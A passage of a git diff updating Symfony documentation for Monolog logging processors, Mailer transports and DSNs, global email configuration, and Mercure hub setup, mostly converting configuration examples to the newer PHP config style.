-        // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'          => 'fingers_crossed',
-                    'handler'       => ...,
-                    'excluded_404s' => [
-                        '^/phpmyadmin',
-                    ],
-                ],
-            ],
-        ]);
-
-
-.. caution::
-
-    Combining ``excluded_404s`` with a ``passthru_level`` lower than
-    ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not
-    actually exclude log messages for the URL(s) listed in ``excluded_404s``
-    because they are logged with level of ``error`` or higher and
-    ``passthru_level`` takes precedence over the URLs being listed in
-    ``excluded_404s``.
diff --git a/logging/processors.rst b/logging/processors.rst
index 605c571b244..fbc7d14c151 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -19,30 +19,33 @@ using a processor::
     // src/Logger/SessionRequestProcessor.php
     namespace App\Logger;
 
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException;
+    use Symfony\Component\HttpFoundation\RequestStack;
 
     class SessionRequestProcessor
     {
-        private $session;
-        private $sessionId;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         // this method is called for each log record; optimize it to not hurt performance
         public function __invoke(array $record)
         {
-            if (!$this->session->isStarted()) {
+            try {
+                $session = $this->requestStack->getSession();
+            } catch (SessionNotFoundException $e) {
+                return;
+            }
+            if (!$session->isStarted()) {
                 return $record;
             }
 
-            if (!$this->sessionId) {
-                $this->sessionId = substr($this->session->getId(), 0, 8) ?: '????????';
-            }
+            $sessionId = substr($session->getId(), 0, 8) ?: '????????';
 
-            $record['extra']['token'] = $this->sessionId.'-'.substr(uniqid('', true), -8);
+            $record['extra']['token'] = $sessionId.'-'.substr(uniqid('', true), -8);
 
             return $record;
         }
@@ -103,7 +106,7 @@ information:
 
         $container
             ->register(SessionRequestProcessor::class)
-            ->addTag('monolog.processor', ['method' => 'processRecord']);
+            ->addTag('monolog.processor');
 
 Finally, set the formatter to be used on whatever handler you want:
 
@@ -146,16 +149,16 @@ Finally, set the formatter to be used on whatever handler you want:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'      => 'stream',
-                    'path'      => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level'     => 'debug',
-                    'formatter' => 'monolog.formatter.session_request',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+                ->formatter('monolog.formatter.session_request')
+            ;
+        };
 
 If you use several handlers, you can also register a processor at the
 handler level or at the channel level instead of registering it globally
diff --git a/mailer.rst b/mailer.rst
index 352e3613fea..421e14ee054 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -27,15 +27,78 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     # .env
     MAILER_DSN=smtp://user:pass@smtp.example.com:port
 
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: '%env(MAILER_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:mailer dsn="%env(MAILER_DSN)%"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return static function (ContainerConfigurator $containerConfigurator): void {
+            $containerConfigurator->extension('framework', [
+                'mailer' => [
+                    'dsn' => '%env(MAILER_DSN)%',
+                ],
+            ]);
+        };
+
+.. caution::
+
+    If the username, password or host contain any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 .. caution::
 
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
     warned that the DSN format is different.
 
+Using Built-in Transports
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The native protocol was introduced in Symfony 5.2.
+
+============  ========================================  ==============================================================
+DSN protocol  Example                                   Description
+============  ========================================  ==============================================================
+smtp          ``smtp://user:pass@smtp.example.com:25``  Mailer uses an SMTP server to send emails
+sendmail      ``sendmail://default``                    Mailer uses the local sendmail binary to send emails
+native        ``native://default``                      Mailer uses the sendmail binary and options configured
+                                                        in the ``sendmail_path`` setting of ``php.ini``. On Windows
+                                                        hosts, Mailer fallbacks to ``smtp`` and ``smtp_port``
+                                                        ``php.ini`` settings when ``sendmail_path`` is not configured.
+============  ========================================  ==============================================================
+
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Instead of using your own SMTP server, you can send emails via a 3rd party
+Instead of using your own SMTP server or sendmail binary, you can send emails via a 3rd party
 provider. Mailer supports several - install whichever you want:
 
 ==================  ==============================================
@@ -49,12 +112,17 @@ Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
+OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 ==================  ==============================================
 
 .. versionadded:: 5.2
 
     The Sendinblue integration was introduced in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The OhMySMTP integration was introduced in Symfony 5.4.
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:
@@ -93,16 +161,17 @@ This table shows the full list of available DSN formats for each third
 party provider:
 
 ==================== ==================================================== =========================================== ========================================
- Provider             SMTP                                                 HTTP                                        API
+Provider             SMTP                                                 HTTP                                        API
 ==================== ==================================================== =========================================== ========================================
- Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default             ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
- Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a                                         n/a
- Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
- Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
- Postmark             postmark+smtp://ID:ID@default                        n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://apikey:KEY@default                   n/a                                         sendgrid+api://KEY@default
- Sendinblue           sendinblue+smtp://apikey:USERNAME:PASSWORD@default   n/a                                         sendinblue+api://KEY@default
+Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a                                         n/a
+Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
+Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
+Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
+Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
+Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
+OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::
@@ -111,6 +180,17 @@ party provider:
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
+.. caution::
+
+    If you want to use ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
+    to :ref:`send messages in background <mailer-sending-messages-async>`,
+    you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
+    a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
+
+    .. versionadded:: 5.4
+
+        The ``ping_threshold`` option for ``ses-smtp`` was introduced in Symfony 5.4.
+
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an
@@ -129,8 +209,8 @@ party provider:
     .. code-block:: env
 
         # .env
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com:99
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com:99
 
     Note that the protocol is *always* HTTPs and cannot be changed.
 
@@ -147,9 +227,9 @@ A failover transport is configured with two or more transports and the
 
     MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)"
 
-The mailer will start using the first transport. If the sending fails, the
-mailer won't retry it with the other transports, but it will switch to the next
-transport automatically for the following deliveries.
+The failover-transport starts using the first transport and if it fails, it
+will retry the same delivery with the next transports until one of them succeeds
+(or until all of them fail).
 
 Load Balancing
 ~~~~~~~~~~~~~~
@@ -164,9 +244,12 @@ A round-robin transport is configured with two or more transports and the
 
     MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)"
 
-The mailer will start using a randomly selected transport and if it fails, it
-will retry the same delivery with the next transports until one of them succeeds
-(or until all of them fail).
+The round-robin transport starts with a *randomly* selected transport and
+then switches to the next available transport for each subsequent email.
+
+As with the failover transport, round-robin retries deliveries until
+a transport succeeds (or all fail). In contrast to the failover transport,
+it *spreads* the load across all its transports.
 
 .. versionadded:: 5.1
 
@@ -181,12 +264,63 @@ configurable with the ``verify_peer`` option. Although it's not recommended to
 disable this verification for security reasons, it can be useful while developing
 the application or when using a self-signed certificate::
 
-    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0'
+    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
 .. versionadded:: 5.1
 
     The ``verify_peer`` option was introduced in Symfony 5.1.
 
+Other Options
+~~~~~~~~~~~~~
+
+``command``
+    Command to be executed by ``sendmail`` transport::
+
+        $dsn = 'sendmail://default?command=/usr/sbin/sendmail%20-oi%20-t'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+
+``local_domain``
+    The domain name to use in ``HELO`` command::
+
+        $dsn = 'smtps://smtp.example.com?local_domain=example.org'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``restart_threshold``
+    The maximum number of messages to send before re-starting the transport. It
+    can be used together with ``restart_threshold_sleep``::
+
+        $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``restart_threshold_sleep``
+    The number of seconds to sleep between stopping and re-starting the transport.
+    It's common to combine it with ``restart_threshold``::
+
+        $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``ping_threshold``
+    The minimum number of seconds between two messages required to ping the server::
+
+        $dsn = 'smtps://smtp.example.com?ping_threshold=200'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
 Creating & Sending Messages
 ---------------------------
 
@@ -198,6 +332,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\Email;
 
@@ -206,7 +341,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
         /**
          * @Route("/email")
          */
-        public function sendEmail(MailerInterface $mailer)
+        public function sendEmail(MailerInterface $mailer): Response
         {
             $email = (new Email())
                 ->from('hello@example.com')
@@ -257,8 +392,7 @@ both strings or address objects::
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can
-    create an :doc:`event subscriber </event_dispatcher>` and listen to the
-    :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
+    :ref:`configure emails globally <mailer-configure-email-globally>` to set the
     same ``From`` email to all messages.
 
 .. note::
@@ -271,12 +405,13 @@ both strings or address objects::
 
         Support for UTF-8 characters in email addresses was introduced in Symfony 5.2.
 
-Multiple addresses are defined with the ``addXXX()`` methods::
+Use ``addTo()``, ``addCc()``, or ``addBcc()`` methods to add more addresses::
 
     $email = (new Email())
         ->to('foo@example.com')
         ->addTo('bar@example.com')
-        ->addTo('baz@example.com')
+        ->cc('cc@example.com')
+        ->addCc('cc2@example.com')
 
         // ...
     ;
@@ -304,11 +439,17 @@ header, etc.) but most of the times you'll set text headers::
         ->getHeaders()
             // this header tells auto-repliers ("email holiday mode") to not
             // reply to this message because it's an automated email
-            ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply');
+            ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply')
 
         // ...
     ;
 
+.. tip::
+
+    Instead of calling ``->addTextHeader()`` *every* time you create a new email, you can
+    :ref:`configure emails globally <mailer-configure-email-globally>` to set the same
+    headers to all sent emails.
+
 Message Contents
 ~~~~~~~~~~~~~~~~
 
@@ -384,6 +525,78 @@ images inside the HTML contents::
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
     ;
 
+.. _mailer-configure-email-globally:
+
+Configuring Emails Globally
+---------------------------
+
+Instead of calling ``->from()`` on each Email you create, you can configure this
+value globally so that it is set on all sent emails. The same is true with ``->to()``
+and headers.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/dev/mailer.yaml
+        framework:
+            mailer:
+                envelope:
+                    sender: 'fabien@example.com'
+                    recipients: ['foo@example.com', 'bar@example.com']
+                headers:
+                    from: 'Fabien <fabien@example.com>'
+                    bcc: 'baz@example.com'
+                    X-Custom-Header: 'foobar'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:envelope>
+                        <framework:sender>fabien@example.com</framework:sender>
+                        <framework:recipients>foo@example.com</framework:recipients>
+                        <framework:recipients>bar@example.com</framework:recipients>
+                    </framework:envelope>
+                    <framework:header name="from">Fabien &lt;fabien@example.com&gt;</framework:header>
+                    <framework:header name="bcc">baz@example.com</framework:header>
+                    <framework:header name="X-Custom-Header">foobar</framework:header>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $mailer = $framework->mailer();
+            $mailer
+                ->envelope()
+                    ->sender('fabien@example.com')
+                    ->recipients(['foo@example.com', 'bar@example.com'])
+            ;
+
+            $mailer->header('from')->value('Fabien <fabien@example.com>');
+            $mailer->header('bcc')->value('baz@example.com');
+            $mailer->header('X-Custom-Header')->value('foobar');
+        };
+
+.. versionadded:: 5.2
+
+    The ``headers`` option was introduced in Symfony 5.2.
+
 Handling Sending Failures
 -------------------------
 
@@ -559,13 +772,14 @@ image files as usual. First, to simplify things, define a Twig namespace called
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // point this wherever your images live
-                '%kernel.project_dir%/assets/images' => 'images',
-            ],
-        ]);
+
+            // point this wherever your images live
+            $twig->path('%kernel.project_dir%/assets/images', 'images');
+        };
 
 Now, use the special ``email.image()`` Twig helper to embed the images inside
 the email contents:
@@ -623,14 +837,14 @@ arguments to the filter:
 
 .. code-block:: html+twig
 
-    {% apply inline_css(source('@css/email.css')) %}
+    {% apply inline_css(source('@styles/email.css')) %}
         <h1>Welcome {{ username }}!</h1>
         {# ... #}
     {% endapply %}
 
 You can pass unlimited number of arguments to ``inline_css()`` to load multiple
 CSS files. For this example to work, you also need to define a new Twig namespace
-called ``css`` that points to the directory where ``email.css`` lives:
+called ``styles`` that points to the directory where ``email.css`` lives:
 
 .. _mailer-css-namespace:
 
@@ -667,13 +881,14 @@ called ``css`` that points to the directory where ``email.css`` lives:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // point this wherever your css files live
-                '%kernel.project_dir%/assets/styles' => 'styles',
-            ],
-        ]);
+
+            // point this wherever your css files live
+            $twig->path('%kernel.project_dir%/assets/styles', 'styles');
+        };
 
 .. _mailer-markdown:
 
@@ -753,11 +968,11 @@ You can combine all filters to create complex email messages:
 
 .. code-block:: twig
 
-    {% apply inky_to_html|inline_css(source('@css/foundation-emails.css')) %}
+    {% apply inky_to_html|inline_css(source('@styles/foundation-emails.css')) %}
         {# ... #}
     {% endapply %}
 
-This makes use of the :ref:`css Twig namespace <mailer-css-namespace>` we created
+This makes use of the :ref:`styles Twig namespace <mailer-css-namespace>` we created
 earlier. You could, for example, `download the foundation-emails.css file`_
 directly from GitHub and save it in ``assets/styles``.
 
@@ -902,6 +1117,8 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
+.. _multiple-email-transports:
+
 Multiple Email Transports
 -------------------------
 
@@ -943,26 +1160,28 @@ This can be configured by replacing the ``dsn`` configuration entry with a
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'mailer' => [
-                'transports' => [
-                    'main' => '%env(MAILER_DSN)%',
-                    'alternative' => '%env(MAILER_DSN_IMPORTANT)%',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->transport('main', '%env(MAILER_DSN)%')
+                ->transport('alternative', '%env(MAILER_DSN_IMPORTANT)%')
+            ;
+        };
 
-By default the first transport is used. The other transports can be used by
-adding a text header ``X-Transport`` to an email::
+By default the first transport is used. The other transports can be selected by
+adding an ``X-Transport`` header (which Mailer will remove automatically from
+the final email)::
 
-    // Send using first "main" transport ...
+    // Send using first transport ("main"):
     $mailer->send($email);
 
-    // ... or use the "alternative" one
+    // ... or use the transport "alternative":
     $email->getHeaders()->addTextHeader('X-Transport', 'alternative');
     $mailer->send($email);
 
+.. _mailer-sending-messages-async:
+
 Sending Messages Async
 ----------------------
 
@@ -987,7 +1206,7 @@ you have a transport called ``async``, you can route the message there:
                     async: "%env(MESSENGER_TRANSPORT_DSN)%"
 
                 routing:
-                    'Symfony\Component\Mailer\Messenger\SendEmailMessage':  async
+                    'Symfony\Component\Mailer\Messenger\SendEmailMessage': async
 
     .. code-block:: xml
 
@@ -1003,6 +1222,7 @@ you have a transport called ``async``, you can route the message there:
 
             <framework:config>
                 <framework:messenger>
+                    <framework:transport name="async">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport>
                     <framework:routing message-class="Symfony\Component\Mailer\Messenger\SendEmailMessage">
                         <framework:sender service="async"/>
                     </framework:routing>
@@ -1013,17 +1233,68 @@ you have a transport called ``async``, you can route the message there:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    'Symfony\Component\Mailer\Messenger\SendEmailMessage' => 'async',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')->dsn('%env(MESSENGER_TRANSPORT_DSN)%');
+
+            $framework->messenger()
+                ->routing('Symfony\Component\Mailer\Messenger\SendEmailMessage')
+                ->senders(['async']);
+        };
+
 
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
+You can configure which bus is used to dispatch the message using the ``message_bus`` option.
+You can also set this to ``false`` to call the Mailer transport directly and
+disable asynchronous delivery.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                message_bus: app.another_bus
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:mailer
+                    message_bus="app.another_bus"
+                >
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->messageBus('app.another_bus');
+        };
+
+.. versionadded:: 5.1
+
+    The ``message_bus`` option was introduced in Symfony 5.1.
+
 Adding Tags and Metadata to Emails
 ----------------------------------
 
@@ -1056,9 +1327,19 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
-* Postmark
-* Mailgun
 * MailChimp
+* Mailgun
+* Postmark
+* Sendgrid
+* Sendinblue
+
+.. versionadded:: 5.4
+
+    The tag and metadata support for Sendgrid was introduced in Symfony 5.4.
+
+The following transports only support tags:
+
+* OhMySMTP
 
 Development & Debugging
 -----------------------
@@ -1100,12 +1381,13 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments):
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'mailer' => [
-                'dsn' => 'null://null',
-            ],
-        ]);
+            $framework->mailer()
+                ->dsn('null://null');
+        };
 
 .. note::
 
@@ -1152,14 +1434,15 @@ a specific address, instead of the *real* address:
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'mailer' => [
-                'envelope' => [
-                    'recipients' => ['youremail@example.com'],
-                ],
-            ],
-        ]);
+            $framework->mailer()
+                ->envelope()
+                    ->recipients(['youremail@example.com'])
+            ;
+        };
 
 .. _`high availability`: https://en.wikipedia.org/wiki/High_availability
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
@@ -1172,3 +1455,4 @@ a specific address, instead of the *real* address:
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
+.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
diff --git a/mercure.rst b/mercure.rst
index 8c0f52f8039..9a0c1e9dfea 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -22,8 +22,9 @@ server to clients. It is a modern and efficient alternative to timer-based
 polling and to WebSocket.
 
 Because it is built on top `Server-Sent Events (SSE)`_, Mercure is supported
-out of the box in most modern browsers (Edge and IE require `a polyfill`_) and
-has `high-level implementations`_ in many programming languages.
+out of the box in most modern browsers (old versions of Edge and IE require
+`a polyfill`_) and has `high-level implementations`_ in many programming
+languages.
 
 Mercure comes with an authorization mechanism,
 automatic re-connection in case of network issues
@@ -34,10 +35,6 @@ thanks to a specific HTTP header).
 
 All these features are supported in the Symfony integration.
 
-Unlike WebSocket, which is only compatible with HTTP 1.x,
-Mercure leverages the multiplexing capabilities provided by HTTP/2
-and HTTP/3 (but also supports older versions of HTTP).
-
 `In this recording`_ you can see how a Symfony web API leverages Mercure
 and API Platform to update in live a React app and a mobile app (React Native)
 generated using the API Platform client generator.
@@ -45,16 +42,6 @@ generated using the API Platform client generator.
 Installation
 ------------
 
-Installing the Symfony Component
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Mercure support before using it:
-
-.. code-block:: terminal
-
-    $ composer require mercure
-
 Running a Mercure Hub
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -65,26 +52,39 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-An official and open source (AGPL) implementation of a Hub can be downloaded
-as a static binary from `Mercure.rocks`_.
+An official and open source (AGPL) Hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+A Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
+
+If you use `Symfony Docker`_ or the `API Platform distribution`_, a Mercure Hub
+is automatically installed and your Symfony application is automatically
+configured to use it. You can jump directly to the next section.
+
+If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
+a Mercure hub will be automatically available as a Docker service thanks to its
+:ref:`Docker integration <symfony-server-docker>.
 
-Run the following command to start it:
+Be sure that recent versions of Docker and Docker Compose are properly installed
+on your computer and to start the Symfony Local Web Server with the ``--no-tls``
+option:
 
 .. code-block:: terminal
 
-    $ ./mercure --jwt-key='!ChangeMe!' --addr='localhost:3000' --allow-anonymous --cors-allowed-origins='*'
+    $ symfony server:start --no-tls -d
 
-.. note::
+Installing the Symfony Bundle
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    Alternatively to the binary, a Docker image, a Helm chart for Kubernetes
-    and a managed, High Availability Hub are also provided by Mercure.rocks.
+Run this command to install the Mercure support before using it:
 
-.. tip::
+.. code-block:: terminal
 
-    The `API Platform distribution`_ comes with a Docker Compose configuration
-    as well as a Helm chart for Kubernetes that are 100% compatible with Symfony,
-    and contain a Mercure hub.
-    You can copy them in your project, even if you don't use API Platform.
+    $ composer require mercure
+
+:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured
+MercureBundle. It also created (if needed) and configured a Docker Compose
+definition that provides a Mercure service. Run ``docker-compose up`` to start it.
 
 Configuration
 -------------
@@ -92,18 +92,30 @@ Configuration
 The preferred way to configure the MercureBundle is using
 :doc:`environment variables </configuration>`.
 
-Set the URL of your hub as the value of the ``MERCURE_PUBLISH_URL`` env var.
-The ``.env`` file of your project has been updated by the Flex recipe to
-provide example values.
-Set it to the URL of the Mercure Hub (``http://localhost:3000/.well-known/mercure`` by default).
+When MercureBundle has been installed, the ``.env`` file of your project
+has been updated by the Flex recipe to include the available env vars.
+
+If you use the Symfony Local Web Server, Symfony Docker or the API Platform
+distribution, the Symfony app is automatically configured and you can skip
+straight to the next section.
+
+Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
+and ``MERCURE_PUBLIC_URL`` env vars.
+Sometimes a different URL must be called by the Symfony app (usually to publish),
+and the JavaScript client (usually to subscribe). It's especially common when
+the Symfony app must use a local URL and the client-side JavaScript code a public one.
+In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
+Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``
+the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 
-In addition, the Symfony application must bear a `JSON Web Token`_ (JWT)
-to the Mercure Hub to be authorized to publish updates.
+The clients must also bear a `JSON Web Token`_ (JWT)
+to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
 
-This JWT should be stored in the ``MERCURE_JWT_TOKEN`` environment variable.
+This JWT should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 
 The JWT must be signed with the same secret key as the one used by
-the Hub to verify the JWT (``!ChangeMe!`` in our example).
+the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or
+Symfony Docker).
 Its payload must contain at least the following structure to be allowed to
 publish:
 
@@ -127,11 +139,54 @@ public updates (see the authorization_ section for further information).
 
 .. caution::
 
-    Don't put the secret key in ``MERCURE_JWT_TOKEN``, it will not work!
+    Don't put the secret key in ``MERCURE_JWT_SECRET``, it will not work!
     This environment variable must contain a JWT, signed with the secret key.
 
     Also, be sure to keep both the secret key and the JWTs... secrets!
 
